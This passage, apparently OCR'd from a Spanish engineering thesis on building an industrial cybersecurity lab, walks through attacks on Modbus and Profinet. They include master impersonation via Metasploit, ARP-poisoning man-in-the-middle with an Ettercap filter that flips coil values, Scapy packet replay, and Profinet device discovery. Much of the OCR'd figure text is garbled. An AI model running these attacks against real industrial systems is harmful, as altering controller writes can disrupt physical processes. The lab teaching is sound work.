~ Modbus/TCP
Transaction Identifier: 6
Protocel Identifier: @
Length: &
Unit Identifier: 1
¥ Medbus
.@82 8181 = Function Code: Write Single Coil (5)
Request Frame: 718
[Time from request: ©.882568000 seconds]
Reference Number: @
Data: 8oo0
Padding: @xea

68 a4 4c 3e 16 cl a4 1f 72 56 1f 75 @8 @@ 45 80 Tl rV-u--E
B0 34 e2 e3 40 00 50 @6 94 30 c® ad @1 @5 c@ ad 4 @
81 8a @1 f6 c7 b8 92 b7 e2 19 3b d4 d9 98 5@ 18 H P
84 B2 d3 60 GO OO OO B6 B0 BB BB 06 @1 B5 0O BO "

Pl oo ]

Figura 30: Datos de Modbus en query de escritura

Para realizar estos ataques voy a emplear 3 equipos para tener una topologia de red mas
realista. Por un lado, tenemos dos equipos Windows (pueden ser también MAC o Linux).
Uno de ellos es el que contiene el ModbusPal simulando el esclavo y el otro ejecuta el
QModMaster que simula el maestro. Estos dos equipos simulan las estaciones de ingenieria
presentes en una red industrial. Para realizar los ataques yo empleo una méquina con Kali
Linux (una Raspberry pi 4), esta es la que simula el atacante y la que correra las distintas
herramientas para llevar a cabo los ataques. A continuacion, en la figura 12 se muestra la

topologia de red con todos los datos importantes.
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19216815 | ! _ _ . - — — — _ ! 192.168.1.10

/2 small hub_2 wmf . v ]
|

Slave Master

I 132.168.1.42

F =)
Atacante

Figura 31: Topologia de red

También es importante conocer las MACSs de los distintos equipos, ya que nos seran utiles
para comprobar que los ataques se estan realizando correctamente. En la tabla 3 se muestra
las MACs y las IPs.

Maquina Direccién IP Direccion MAC
Master 192.168.1.10 60-A4-4C-3E-16-C1
Slave 192.168.1.5 A4-1F-72-56-1F-75

Atacante 192.168.1.42 dc:a6:32:67:24:38

Tabla 5: Direcciones de las estaciones

5.3.1 IMPERSONATING DEL MASTER

Los ataques de Impersonating (imitar en espafiol) son los que, con un software especifico,
podemos hacernos pasar por el sistema que imita. En este caso, utilizaremos la herramienta
de Metaesploit que estd incluido en Kali Linux para utilizar unos paquetes que nos
proporciona listos para realizar este ataque. Para arrancar este framework basta con escribir
el siguiente comando en el terminal de Linux: sudo msfconsole. Esperamos a que se abra la
interfaz de terminal y hay que continuar buscando los médulos que vamos a emplear. Para
buscarlos escribimos search modbus y se nos muestran los distintos paquetes preparados

relacionados con modbus. Como nosotros partimos del hecho de que conocemos la topologia
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de red (quien es el esclavo y quien el master) no empleamos ningln paquete de scanner. Esta
fase es facil de hacer con Wireshark una vez que el atacante se conecta a la red y arranca el
programa. Solo hay que filtrar por protocolo modbus y vemos quien es el que escucha en el
puerto 502 que es el esclavo y el que escribe a ese puerto es el master. Por ello, vamos a
seleccionar el paquete de modbusclient. Este paquete se puede seleccionar escribiendo use
5 o con use auxiliary/scanner/scada/modbusclient. Este proceso se muestra en la figura 13.
Una vez seleccionado, hay que ver que pardmetros debemos establecer antes de ejecutar el
paquete. Para ver estos parametros, usamos el comando show options, como se muestra en
la figura 14. Por ultimo, hay que establecer todos los parametros y ejecutarlo. Este Gltimo
paso se muestra en la figura 15, que esté establecido para leer el dato 2 de la coil del esclavo
1. Para establecer los valores se hace poniendo set [opcidn] [valor] y se ejecuta con run.

Matching Modules

#  Name Disclosure Date Rank Chec Description

Command
Jownload

L Modbus
2012-10-28 L N Modbus tion ID Enumerator

10rma L
2011-11-01 normal

y name or index. For example

Figura 32: Busqueda modbus en msfconsole
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msf6 auxiliary( ) > show options

Module options (auxiliary/scanner/scada/modbusclient):
Name Current Setting Required Description
DATA

DATA_ADDRESS
DATA_COILS

DATA_REGISTERS Words W mma ITE_REGISTERS mode only) e.g.

2,3,4
NUMBER c Number of r INPUTS, READ_HOLDING_REGISTERS, READ_INPUT_REGISTERS modes only)

RHOSTS yes rg ), range CIDR ide er, st le with syntax 'file:<path>'
RPORT 502 g (T
UNIT_NUMBER c Modbus unit number

xiliary action:
Name

READ_HOLDING_REGISTERS HoT rom several HOLDING registers

DATA_ADDRESS 1
et DATA_ADDRESS 1
et RHOSTS 192.168.1.5

t ACTION READ_COILS

cution completed

Figura 34: Establecimiento de parametros y ejecucién

Tiesclave x

Export Modbus ~| []Stayon top

Holding registers Coils  Functions Tuning

Add Remove Bind Unbind

Address Value Name Binding
1o

40
50
&0

70

80
90

Adding cols completed.

Figura 35: Tabla de coils

Como se puede observar en la figura 34, el programa nos devuelve el valor del coil 2 del

slave nimero 1. El valor que nos devuelve es correcto como se puede comprobar en la figura

35. Ahora vamos a emplear el mismo paquete, pero para escribir un valor. En la figura 36 se

muestra la configuracion y el resultado del run.

> set DATA 1
> set ACTION WRITE_COIL

> run

written at coil address 1

Figura 36: Establecimiento de parametros y escritura

Como se puede ver en la figura 36 y 37, la escritula del valor 1 en
el registro 2 se ha realizado con éxito. Con esto queda demostrado

lo facil que es imitar al master. Si miramos el trafico que hemos

Tiesclavo X

Export | Modbus ~ | []Stayon top

Holding registers  Coils * Functions  Tuning

Add Remave Bind Unbind
Address Value Name Binding
10
21
30
40
5/0
60
7/0
30
90

‘Adding cois completed.

Figura 37: Resultado de escritura

generado (me centro en este Gltimo de escritura), podemos confirmar con el wireshark que

39




COMILLAS UNIVERSIDAD PONTIFICIA COMILLAS
UNIVERSIDAD PONTIFICIA ESCUELA TECNICA SUPERIOR DE INGENIERIA (ICAI)
GRADO EN INGENIERIA EN TECNOLOGIAS DE TELECOMUNICACION
DISENO E IMPLEMENTACION DE UN LABORATORIO DE CIBERSEGURIDAD INDUSTRIAL

todo es correcto, ya que la direccion de origen es la de la maquina del atacante, como se

aprecia en la figura 38.

Ml Wireshark - Packet 9851 - Ethemet - o X

ed (528 bits) on interface \Device\NPF_{FB63205F-3349-4353-BDF -022A10084767}, id 8
Dst: Dell 56:1f:75 (ad:1f:72:56:1F:75)

.980 @101 = Function Code: Write Single Coil (5)
Reference Number: 1

Data: ffoo

Padding: @xa0

24 1f 72 56 1f 75 dc 26 32 67 24 38 08 00 45 08 -V u - 2g88- E
0010 0034 84 cb 40 00 40 [} 3279 B aB 01 2a O a8 4 @@l 2y -*
@1 65 aa 41 01 f6 ea a5 67 7c 4d dd 89 50 56 15 A |m---p
@1 6 34 36 00 @O GO GO 00 0 0 06 01 05 06 01 -4
£ 60

Figura 38: Trafico del atacante

Este programa es muy facil de usar, pero si queremos realizar ataques mas complejos o
automatizarlos, podemos también emplear una libreria de Python y picar nuestro codigo.
Esta libreria se llama PyModbus y es muy facil de usar. En la referencia [5] dejo la

documentacidn sobre este paquete.

5.3.2 MANIN THE MIDDLE

Este tipo de ataques son de los méas conocidos, ya que se puede aplicar a un moton de
ambitos. Este ataque se basa en el concepto de que hay una comunicacién entre dos partes
(en nuestro caso, el master y el esclavo) y una tercera persona (el atacante) se pone entre
medias de los dos. El atacante es capaz de controlar el flujo de toda la informacién y
modificarla sin que las partes se enteren (a no ser que lo comprueben). En nuestro protocolo,

se va a implementar este Man in the Middle que alterara el flujo normal de comunicacion y
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aprovecharemos esta alteracion para implementar un filtro que nos modifique

automaticamente los datos que se envian.

El flujo normal de la informacién es la que genera el Méster, va directamente al esclavo y
este le responde directamente al master con un ACK confirmando la peticion. Al
implementar este ataque, el master pensara que el slave es el ordenador del atacante, por lo
que le envia al equipo del atacante la peticion. El equipo del atacante puede o bien, no
modificar nada y mandarselo al slave real (con esto podria analizar el trafico) o aprovechar
y modificar los datos que se envian. Este Gltimo es el que se implementara en este proyecto.
Una vez modificado el paguete, se lo envia al esclavo. El ack que genera el esclavo, seguira
también este mismo camino. A continuacion, en la figura 39 y 40, se muestra como es el

trafico normal y el tréfico con el MiTM implementado.

ACK
.
. sy e
Peticion
P
<
19216815 ||:|! _ _ - - — — — ":l! 192.168.1.10
h - small hub_2 wmf —_—a
Slave | Master

|I:|! 152.168.1.42

_—la
Atacante

Figura 39: Flujo de trafico normal

132.168.15 |I:|l

=

|I:|! 182.168.1.10

_—la

_
Slave

Atacante

Figura 40: Flujo de tréfico con MiTM
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Para realizarlo, vamos a emplear varios programas ya citados, como pueden ser ModbusPal,
QModMaster y Wireshark, y otro nuevo que es Ettercap, que ya viene incluido en Kali
Linux. Este programa es el que nos va a permitir implementar el MiTM. EIl funcionamiento
de este programa y su implementacion es muy sencillo. Al arrancarlo, escaneara el trafico y
nos mostrara una lista de las IPs encontradas en la red. Llegados a este punto, afiadiremos la
IP del esclavo como target 1 y la IP del master como target 2. Ahora debemos activar la
opcion de arp poisoning. El arp poisoning es un ataque que solo se puede realizar en redes
locales (LANS) y se basa en enviar paquetes de ARP (sirven para obtener la IP de una MAC)
a un Gateway y modificar la asociacion MAC e ip. En nuestro atagque esto lo que hara es que
el master cuando realiza una peticion al slave, en vez de tener en su tabla que esa IP

corresponde a la del slave, tendra que se corresponde al del atacante.

Llegados a este punto, el man in the middle esta implementado, pero vamos a ir un paso mas
alld. Vamos a crear un filtro en el ettercap que intercepte este trafico que proviene del
protocolo Modbus y vamos a indicarle que nos invierta los valores. Para ello hay que escribir
un cddigo en un archivo de texto y luego compilarlo. El archivo del filtro no esté sujeto a
una extension (yo usare filter), pero a la hora de compilarlo, si debemos decirle que el output

debe tener extension ef. Para compilar se emplea el siguiente comando en el terminal:

etterfilter [input_file] -o [output_name].ef
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Ettercap

H Q &

Host List x

ARP poisoning...
192.168.1.1 C8:B4:22:01:0A:BO NDP poiscning
5

DHCP spoofing...
Stop MITM attack(s)

SSL Intercept

Figura 41: Afiadir targets Figura 42: Activar ARP poisoning (1)

[homefkali/Desktop/Modbus filter - Mousepad

File Edit Search View Document Help
if (ip.proto = TCP & tcp.dst = 502) {
if (search(DATA.data,"\x00\x00")) {
msg( "+ Dato a @ — 1 *" );
replace( "\x00\x00", "\xff\x00");

Cancel MITM Attack: ARP Poisoning

Optional parameters

) i
S . else
9 ¥ Sniff remote connections. {

if (search(DATA.data,"\xff\xee")) {
msg( "* Dato a 1 — 1 0" );
replace("\xff\x00", "\x00\x00");
[

Only poison one-way.

Figura 43: Activar ARP poisoning (2)

Figura 44: Filtro ettercap

Una vez creado y compilado el filtro, solo debemos afiadirlo a ettercap y generar tréafico de
escritura en QModMaster mientras analizamos el trafico con Wireshark. El paso de analizar
el trafico es muy importante, ya que podremos ver si el proceso de MiTM se esta realizando

correctamente. Si todo funciona correctamente, deberiamos de ver en la parte inferior de

] Filters
Load a filter...

Stop filtering

Logging
Plugins

Figura 45: Cargar el filtro (1) Figura 46: Cargar el filtro (2)

ettercap mensajes cada vez que escribimos algun valor desde el master. En este ejemplo se
va a emplear escritura del coil 2 del esclavo 1. A continuacion, se muestran capturas de
wireshark del proceso del MiTM. Se puede observar que la peticion de escritura del valor 1
se manda del maéster al equipo del atacante y del atacante se manda la misma peticién al

esclavo, pero con el valor modificado (pasa a ser 0). Es importante destacar que la
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comunicacion de escritura entre el atacante y el esclavo se realiza en TCP, no en modbus
(pero el contenido del paquete es el mismo). En la figura 47 y 48 se aprecia como se han
cambiado las direcciones para que el tréfico entre maestro y esclavo pase por el equipo del
atacante. También se observa como se ha modificado el valor a escribir. Para el ACK que

nos devuelve el esclavo, se sigue el mismo proceso.

Una caracteristica importante de este tipo de ataques es que en el software del méster no
salta ningun error. A pesar de esto, es facil darnos cuenta de que se estd produciendo un
ataque de estas caracteristicas. Si no filtramos el trafico en Wireshark para que s6lo nos
muestre Modbus, se aprecian paquetes de retransmisiones que el programa nos indican que
no son normales. Por otro lado, si filtramos por protocolo Modbus, todo parece normal,
aparece una peticién y un ACK, pero si vemos en campo de Data de estos dos, apreciamos
como el master manda un 1 y el ACK confirma un 0. Viendo esta anomalia, el ingeniero
encargado podria darse cuenta de que hay algun fallo en la red o algun software que esta

provocando este comportamiento.

Este ataque puede ser mas sofisticado y hacer que el ACK que devuelve, con otro filtro,

restaurar el mismo dato que solicit6 el master.

M Wireshark - Packet 191 - Ethernet — m] x

Frame 191: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface \Device\NPF {F863285F-3349-4353-BDDF-@22A109B4767}, id @
Ethernet 11, [Brc: ASUSTERC Se:16:cl (6b:adzac:Se:lo:cl), Dst: Raspberr B7:24:35 (dc:a6:32:6:24:35
Internet Protocol Version 4, Src: 192.168.1.18, Dst: 192.168.1.5

Transmission Control Protocol, Src Port: 5912@, Dst Port: 502, Seq: 1, Ack: 1, Len: 12
Modbus/TCP
¥ Medbus
.80@ 818l = Function Code: Write Single Coil (5)
Reference Humber: 1

Data: ffee

Padding: exee

dc a6 32 67 24 38 68 a4 4c 3e 16 cl 88 B8 45 @8 2g%8" - L> E
2012 @0 34 dd ac [THEE 86 86 99 bS <@ a8 81 Ba <@ ad -4 -[f
@1 @5 e6 f@ 81 f6 26 63 77 52 Ba 53 38 ec 5@ 18 &c wR-S8-P

ﬁs 44 o0 06 B2 356 BB BB B2 85 21 85 @0 el hD (3

Figura 47: Peticion de escritura interceptada
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M \Vireshark - Packet 192 - Ethernet — [m] *

Frame 192: 66 bytes on wire (528 bits 66 bytes captured (528 bits) on interface \Device\NPF {F863285F-3349-4353-BDDF-822A109B4767}, id @
Ethernet II,§5rc: Raspberr 67:24:38 {dc:§:32167:24:38] Dst: Dell 5_6:11":75 {a4:1‘F:72:5_6:1‘F:75]

Internet Protocol Version 4, Src: 192.168.1.1@, Dst: 192.168.1.5

Transmission Control Protocol, Src Port: 59128, Dst Port: 582, Seq: 1, Ack: 1, Len: 12

a4 1f 72 56 1f 75 dc aé 32 67 24 38 @8 @8 45 @0 rV-u-- 2g%8-E
@@ 34 dd ae 40 @2 3@ @6 99 b5 cB a3 @1 @a c@ ad 4
el @5 =6 T8 @1 f6 26 63 77 52 @a 53 3@ ec 5@ 18 &c wR-5@-P

%67 45 @@ @@ BB 36 B8 6@ 88 B6 81 85 8@ Bl gE B

Figura 48: Peticion de escritura interceptada y modificada

5.3.3 PACKET REPLAY

Como ya se ha citado en anteriores protocolos, este ataque se basa en capturar trafico durante
el funcionamiento normal de la comunicacion, editar el paquete y reenviarlo. Para poder
editar y enviar estos paquetes, emplearé Scapy el cual es una herramienta dedicada

exclusivamente a captacion y edicion de paquetes basado en Python.

Antes de nada, lo primero es capturar un paquete que nos interese para el ataque. Por
ejemplo, para Modbus, es muy interesante modificar un paquete de escritura, ya que
podemos cambiar la direccion del coil o el dato a escribir. Una parte clave de este proceso y
muy interesante para el desarrollo del laboratorio de ciberseguridad, es descomponer el
paquete a mano para identificar los distintos campos y mas tarde recomponerlo. Para ello,
hacemos click derecho sobre el paquete en wireshark y lo copiamos como Hex Stream. Para

este ejemplo usaré el siguiente stream:

a41f72561f7560a44c3e16¢10800450000347531400080060233c0a8010ac0a80105c81c01f
6214eca35ac7f79de501802004e57000000080000000601050001f00
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Una vez tenemos el paquete como un stream en hexadecimal, lo recomendable es pegarlo en
un editor de texto para empezar a su descomposicion. El procedimiento es muy simple, pero
hay realizarlo atentamente para fijarse que no cogemos un caracter que pertenezca a otro
campo. Como ahora estan todos los datos de todos los elementos del paquete seguidos, lo
mas recomendable es ir separandolo segin encontramos un campo. Para ir realizando este
proceso, nos vamos a ir apoyando en la informacion que nos proporciona Wireshark. Cuando
seleccionamos una capa del protocolo, o un campo, se resalta en azul los datos
hexadecimales correspondientes al campo seleccionado. Por ejemplo, el primer campo que

encontramos es la MAC de destino en hexadecimal:

M Wireshark - Packet 29407 . prueba.pcap — O X

Frame 29487: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) ~
~ Ethernet II, Src: ASUSTekC_3e:16:cl (6@:a34:4c:3e:16:cl), Dst: Dell 56:1f:75 (a4:1f:72:56:1f:75)
Destination: Dell 56:1f:75 (a4:1f:72:56:1f:75)
source: ASUSTekC 3e:le:cl (B@:ad:dc:3e:le:cl)
Type: IPv4 (@x8388)
Internet Protocel Version 4, Src: 192.168.1.18, Dst: 192.168.1.5
Transmission Control Protocol, Src Port: 51228, Dst Port: 582, Seq: 1, Ack: 1, Len: 12 hd
[eece YIECIRPETIECIRE 68 a4 Ac 3c 16 cl 63 0@ 45 60 |[RIHN - L>----E
8@ 34 75 31 4@ @@ 8@ @5 @2 33 c@ aB @1 @a c@ ald 4ul@d 3
81 @5 c8 1c 81 f6 21 4e ca 35 ac 7f 79 de 56 18 In s -yP

B2 8@ 4e 57 G0 B8 B2 @3 @0 B8 @2 85 @1 @5 B8 el N
f ee

Figura 49: Mac en hexadecimal

En la parte inferior nos indica wireshark los datos de esta direccion MAC, por lo que en

nuestro stream podemos identificar estos datos y separarlos:

a41f72561f7560a44c3e16¢10800450000347531400080060233c0a8010ac0a80105c81c01f
6214eca35ac7f79de501802004e57000000080000000601050001ff00

Este proceso lo vamos a repetir a lo largo de todos los campos que encontremos en el paquete
y teniendo especial cuidado en aquellos campos que segun wireshark parecen que comparten
datos (solo subraya en azul cada 2 caracteres hexadecimales y si un campo acaba solo coge
1, subraya los dos para ese campo y para el siguiente). Una vez terminado este proceso,

deberia quedar algo parecido a lo siguiente:
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COMILLAS

UNIVERSIDAD PONTIFICIA

[& C:\Users\cleob\OneDrive - Universidad Pentificia ComillastICAI_4GITT\TFG\TFG\python\pagquete.txt - Notepad++ m] X

Archivo Editar Buscar Vista Codificacion Lenguaje Configuracion Herramientas Macro  Ejecutar  Plugins  Ventana 7 X

ury=] | It e | 2 5| BE|ISTEDEAHS =B Bl

B client= py ]Esar;ld;rp: ]E-:Ilantep. ]Esar;ld;rp: ]Etastp;.- WE-:Ilamap;: ['Jpaquetsmaw
1 41£72561f75 MAC DEST ,.
2 6Daddc3elecl MAC ORG

0800 IPV4

4 VERSION

5 HEADER LENGTH

00 DIFF SERVICES

034 TOTAL LENGHT

o =

~ o e W

8 7531 ID
S 4000 FLAGS

10 80 TTL

11 0& TCP

12 0233 CHECKSUM HEADER

13 c0a80l0a IP CORG

14 ¢0aB80105 IP DEST

15 c¢8lc ORG PORT

16 0l1fe DST PORT

17 2l4eca3b SEC NUM

18 ac7f7%de ACK NUM
5 HEADER LENGTH
018 FLAGS

0200 WND SIEE

4e57 CHECKSUM

0000 URG POINTER
00080000000601050001££00 PAYLOAD

DN NN N
LN - oW

W

Mormal text length: 388 lines: 24

Figura 50: Paquete completamente descompuesto

Ln:1 Col:1 Pos:1 Windows (CRLF)  UTF-8 INS

Una vez ya hemos deshecho el paquete, es relativamente sencillo implementarlo en Scapy.
Para editar el paquete, no vamos a hacerlo a través de la consola de Scapy, ya que requiere
gue pongamos muchos comandos. Para hacerlo de forma mas clara y sencilla, se hara el
mismo proceso que en la consola, pero en un script de Python implementando las librerias
correspondientes. Para este proceso me baso en el documento de la referencia [23]. En este
documento se trata sobre los elementos de los que se compone este protocolo y la base sobre
la cual me baso en este proyecto para el script de Python. El script que se nos presenta en
dicho documento no tiene todos los campos necesarios para este tipo de query que estamos
intentando replicar (escritura de coil). Para adaptar este codigo a nuestro caso, podemos
consultar la documentacion de Modbus en Scapy [24]. En esta documentacion se nos indica
los tipos de datos y los campos que son siempre necesarios mas aquellos que debemos de
incluir para determinadas querys. Aplicando todo esto, nos queda un codigo que se muestra

en github por su extension [25]
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En caso de que queramos cambiar de tipo de solicitud, habria que volver a consultar la
documentacién de Modbus Scapy y modificar la parte superior del cddigo. También si
quisiéramos guardar este paquete para analizarlo con wireshark, es tan féacil como
descomentar el wrpcap(), pero para verificar que esta bien creado, basta con ver la salida de
la consola. En la consola, al ejecutar el hexdump(pkt), se mostrara en hexadecimal el

paquete, el cual podemos comprobar que es idéntico al original:

@ee8 A4 1F 72 56 1F 75 60 A4 4C 3E 16 C1 82 88 45 88 ..rV.u .L>....E.
80916 88 34 75 31 48 06 88 86 62 33 (B AZ 61 84 (B A3 .Aul@....3......

8628 81 85 CB 1C 81 F6 21 4E CA 35 AC 7F 79 DE 58 18 ......IN.5..y.P.
6838 02 8B AE 57 B0 00 68 82 68 60 B0 66 81 B5 68 81 L. MNWM............
6848 FF 60

Sent 1 packets.
PS5 C:hWsersholeob\OneDrive - Universidad Pontificia Comillas‘\ICAI AGITT\TFG\TFG\python:>

Figura 51: Paquete reconstruido

a4 1f 72 56 1f 75 6@ a4 4c 3e 16 cl @3 @@ 45 80 VUt Lo cE

@@ 34 75 31 48 0@ 5@ @6 @2 33 c@ a8 @1 @a <@ a8  -4ulf 3

@1 @5 c8 1c @1 6 21 4e ca 35 ac 7f 79 de 5@ 18 IN -5 y-P
@036 B2 @0 4e 57 o0 00 00 o3 [P 00 06 @1 85 pe el N - -|

ff @0

Figura 52: Paquete original

Esta es la forma tipica de realizar un packet replay, pero dependiendo del programa de
destino, nos podemos encontrar con algunos contratiempos. Por ejemplo, con el ModbusPal,
no podemos enviar un paquete al destino y que este lo lea, sin previamente haber establecido
una conexion con el socket de destino. Al igual que en el GitHub esta presente el codigo
para generar el paquete de la figura 51, también estd un codigo similar estableciendo un
socket (PacketReplay.py). Este cddigo se queda con la parte de la formacién de los datos
Modbus del paquete y una vez establecido el socket TCP, los manda. También podemos
recoger la respuesta, la cual se muestra por consola como stream en hexadecimal. Utilizando
este método de envio de datos basado en un socket TCP conseguimos modificar datos de los
coils del esclavo. La clave de este método se basa en sacar la informacién sobre la ip y puerto
que el esclavo utiliza usando wireshark y en saber qué tipo de mensaje Modbus queremos

crear. Desde la documentacion de Modbus de Scapy podemos ver que campos Y tipos de
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datos son necesarios para distintos tipos de querys, ya que este método no solo sirve para

escribir.
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5.4 PROFINET

Profinet y Profibus son dos protocolos de comunicacién empleados en entornos industriales.
Como otros protocolos tiene su version basada en un bus de datos RS-485 (Profibus) y su
estandar basado en Ethernet (Profinet). Para méas detalles sobre las diferencias entre estos
protocolos en la referencia [27]. Es importante saber que la tendencia en la industria se
inclina por Profinet. La gran mayoria de equipos aceptan Profinet, mientras que Profibus
pierde fuerza. En las redes existentes que emplean equipos Profibus y Profinet, se
implementa un Proxi para traducir los mensajes entre los dos protocolos. Debido a esto, este

trabajo se centrara en Profinet [28].

En la actualidad, Profinet es ampliamente usado en comunicaciones entre PLCs y equipos
de vision artificial (cAmaras) y lectores de RFID. Esto se debe al gran aumento de estos dos
ultimos dispositivos en la industria, ya que facilitan automatizar procesos y validad calidades
y clasificar productos automaticamente. Este protocolo ha sido adaptado por muchos
fabricantes, como puede ser Siemens y Phoenix Contact. Al ser un protocolo relativamente
moderno, tiene las caracteristicas de estos: es flexible, implementa seguridad, escalable, alta

disponibilidad y desarrollo continuado.

En cuanto a los detalles técnicos de las topologias Profinet, como ya he citado, esta basado
en Ethernet y funciona sobre cobre, fibra 6ptica, POE y en sistemas inalambricos. Como en
muchos otros protocolos industriales, en Profinet encontramos tres roles en la topologia
(tipos de equipos): controladores, dispositivos y surpervisores. Los controladores son los
equipos que contienen un programa que se ejecuta en ellos y se intercambian datos con los
dispositivos (PLC). Los dispositivos son cualquier equipo de capturacion de datos o
ejecucién de instrucciones (sensores/actuadores). Un ejemplo actual de estos dispositivos
son por ejemplo una camara o un lector RFID, como ya he citado antes. Un equipo supervisor
es aquel desde el cual podemos lanzar instrucciones, monitorear y llevar a cabo analisis de

diagnosticos. Normalmente estos equipos suelen ser PCs o HMIs.
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A la hora de emplear Wireshark para poder analizar este trafico, nos toparemos con que
aparecen varios “protocolos” asociados a Profinet dependiendo del objetivo de esa
transmision. En la siguiente figura se muestran los nombres de los protocolos que aparecen

y el trafico al que estan asociados:

Protocols

* PROFINET/CBA: distributed automation.

* PROFINET/DCP: discovery and basic configuration.

* PROFINET/IO: decentralized periphery.

* PROFINET/MRP: media redundancy protocol.

* PROFINET/MRRT: media redundancy for PROFINET/RT.
* PROFINET/PTCP: precision time control protocol.

* PROFINET/RT: real time data transfer.

e PROFINET/IRT : isochronous real time data transfer
Figura 53: Profinet en Wireshark [29]
Ahora vamos a ir viendo los principales con algo méas de detalle. Para empezar, voy a
desarrollar el DCP. Este esta basado en la capa de enlace y se dedica a configurar las IPs y
nombres de los equipos. Este es necesario en redes en las que no haya presentes un servidor
DHCP, ya que hace la misma funcion que este. Profinet 10 es un protocolo relacionado con
los periféricos descentralizados y que utiliza Profinet RT para mandar los datos. Este Gltimo
es usado para mandar datos ciclicos en tiempo real a un PLC. Esta comunicacion hace de
bypass de la interfaz TCP/IP que proporciona Profinet y nos permite mayor velocidad de
transmision (12MBd). Como ya he citado antes, Profinet 10 se basa en RT para mandar los
datos y esto se debe a que RT se disefid para poder mandar datos de input/output con tiempos
de envio criticos. El resto de las etiquetas Profinet que aparecen en Wireshark, seran

explicadas cuando aparezcan en el documento.

Para empezar, es importante conocer los equipos profinet que hay presentes en la red para
empezar a testear ataques. Para descubrir estos equipos, empleamos del Profinet DCP para
descubrirlos (es como el arp en profinet). Para ello, vamos a craftear este paquete y enviarlo
y observamos en wireshark la respuesta de los equipos. Para craftear este paquete de
Discovery podemos basarnos en dos metodos: mirar en internet como se compone y el
payload que manda o mandar ese paquete desde otra aplicacion dedicada a ello y luego
realizar una especie de “paquet replay” cambiando los parametros necesarios. Para

implementarlo, me baso en el segundo método. Para crear este paquete de Discovery, empleo
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la aplicacion Profinet Commander [30]. Con esta aplicacion podemos mandar este paquete,
en el que luego nos basaremos. También nos permite realizar escrituras y lecturas de

variables a través de Profinet.

PROFINET Commander - unlicensed version - [u] X
File Edit Tools Help

& a Bmwsel Read I: R/W Data m Configure | NICSelection: [1_Network adapter Microsoft onlacal host _v| @ Device Diagnostic
b G Diagnostic Record(s) = Controller @ Device Offline

Select Mode: o Run ° Stop / Offline @ Run

O stop

Navigation Devices (double click output cell for changing outputs)
Device Name [mput [status [output [status |

Properties
Property Name [Property value |

and Alarms (double click below to clear)
Mon Jun 2119:16:03 2021 NICs have changed since last session. Ensure that the correct interface is selected
Mon Jun 2119:16:03 2021 NIC - 5 Network adapter 'Realtek PCle GbE Family Controller on local host
Mon Jun 2119:16:03 2021 NIC - 4 Network adapter 'Microsoft' on local host
Mon Jun 2119:16:03 2021 NIC - 3 Network adapter 'Microsoft' on local host
Mon Jun 2119:16:03 2021 NIC - 2 Network adapter 'Microsoft' on local host
Mon Jun 2119:16:03 2021 NIC - 1 Network adapter ‘Microsoft' on local hast
Mon Jun 2119:16:03 2021 Please select NIC to use from dropdown list
Mon Jun 2119:16:03 2021 There were 5 NICs Found

Figura 54: Profinet Commander[28]

En la pestafia de buscar, podemos encontrar el botdn que nos permite buscar los dispositivos
Profinet de la red y nos muestra una lista. También nos permite restablecer sus IPs, nombres,
etc. También podemos aprovechar para ver el aspecto de estas respuestas en Wireshark. Lo
que mas interesa es ver la MAC a la que se dirige el paquete de DCP, ya que para craftear el
nuestro lo debemos conocer. También debemos conocer el payload que se manda. Toda esta
informacién la podemos obtener en Wireshark. El paquete creado tiene el siguiente hex

stream:

010ecf000006805cabcc38e810000008892fefe05000000000100010004ffff0000000000000
0000000000000000000000000000000000000000000

Si aplicamos el mismo método para dividir este stream en sus componentes, como vimos en
Modbus, obtenemos facilmente cada uno de los componentes. La parte roja se corresponde
al MAC de destino, la cual es muy importante porque es la “MAC de broadcast” que emplea

Profinet y que nunca varia. La otra parte que nunca varia es la azul, que se corresponde al
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payload de Profinet junto a alguna etiqueta de Vlans. Por Gltimo, la parte verde es la que
deberiamos cambiar, ya que es la MAC de origen. En el stream anterior se ha mandado el
paquete desde el puesto con el PLC_15. Para que este proceso sea mas real, creamos y
enviamos el pagquete desde otro equipo, simulando el del atacante. En mi caso, el ordenador
desde el que mando el paquete tiene como MAC la 00:e0:4¢:68:06:28. Juntando esta
informacion con la anterior podemos crear el paquete y enviarlo usando Scapy. Para la
recepcion de las respuestas, he escogido no recogerlas en Python y verlas directamente en
Wireshark, ya que aportan mayor nivel de informacién. Este codigo esta subido al GitHub

en la referencia [31] y también se muestra a continuacion.

.. 1281.818735 Cognex_1c:27:c2 RealtekS_68:@.. PN-DCP 128 Ident Ok , Xid:@x1, Dev-Options(9), DeviceVendorValue, NameOfStation:"camaraxbsld4@b”, Dew-ID, Dev-Role, IP
.. 1281.818736 Cognex_1c:@c:58 RealtekS_68:@.. PN-DCP 128 Ident Ok , Xid:@x1, Dev-Options(9), DeviceVendorVWalue, NameOfStation:"camaraxbs2d54b™, Dew-ID, Dev-Role, IP
. 1281.818737 Siemens_9a:21.. RealtekS_68:@.. PN-DCP 132 Ident Ok , Xid:@x1, Dev-Options(l), DeviceVendorValue, NameOfStation:"plcxbl5.interfazxaprofinetxb13d53", Dev-ID, Dev-Role, Dev-Instance
. 1281.819825 IntelCor_bc:c.. Realtek5S_68:@.. PN-DCP 124 Ident Ok , Xid:@x1, Dev-Options(11), DeviceVendorVWalue, NameOfStation:"aa251sd1p@5", Dev-ID, Dev-Role, IP

.. 1281.819537 Siemens_087:15.. RealtekS_68:8.. PN-DCP 114 Ident Ok , Xid:@x1, Dev-Options(7), DeviceVendorValue, MNameOfStation:"ioxbd12719a", Dev-ID, Dev-Rele, IP

.. 1281.819578 Siemens_27:65.. RealtekS_68:0.. PN-DCP 118 Ident Ok , Xid:@xl, Dev-Options(8), DeviceVendorValue, NameOfStation:"plexbslxbs2aafb”, Dev-ID, Dev-Role, IP

.. 1281.819631 Siemens_@7:18.. RealtekS_68:8.. PN-DCP 112 Ident Ok , Xid:@xl, Dev-Options(7), DeviceVendorValue, NameOfStation:“ioxbs2abec®”, Dev-ID, Dev-Rele, IP

. 1281.819783 Siemens_07:10.. RealtekS_68:@.. PN-DCP 112 Ident Ok , Xid:@xl, Dev-Options(7), DeviceVendorValue, NameOfStation:“ioxbslaa8e”, Dev-ID, Dev-Rele, IP

. 1281.819783 Siemens_@3:bl.. RealtekS_68:@.. PN-DCP 126 Ident Ok , Xid:@xl, Dev-Options(2), DeviceVendorValue, NameOfStation:"hubxbslxbs2xb@be6@”, Dev-ID, Dev-Role, Dev-Instance, IP
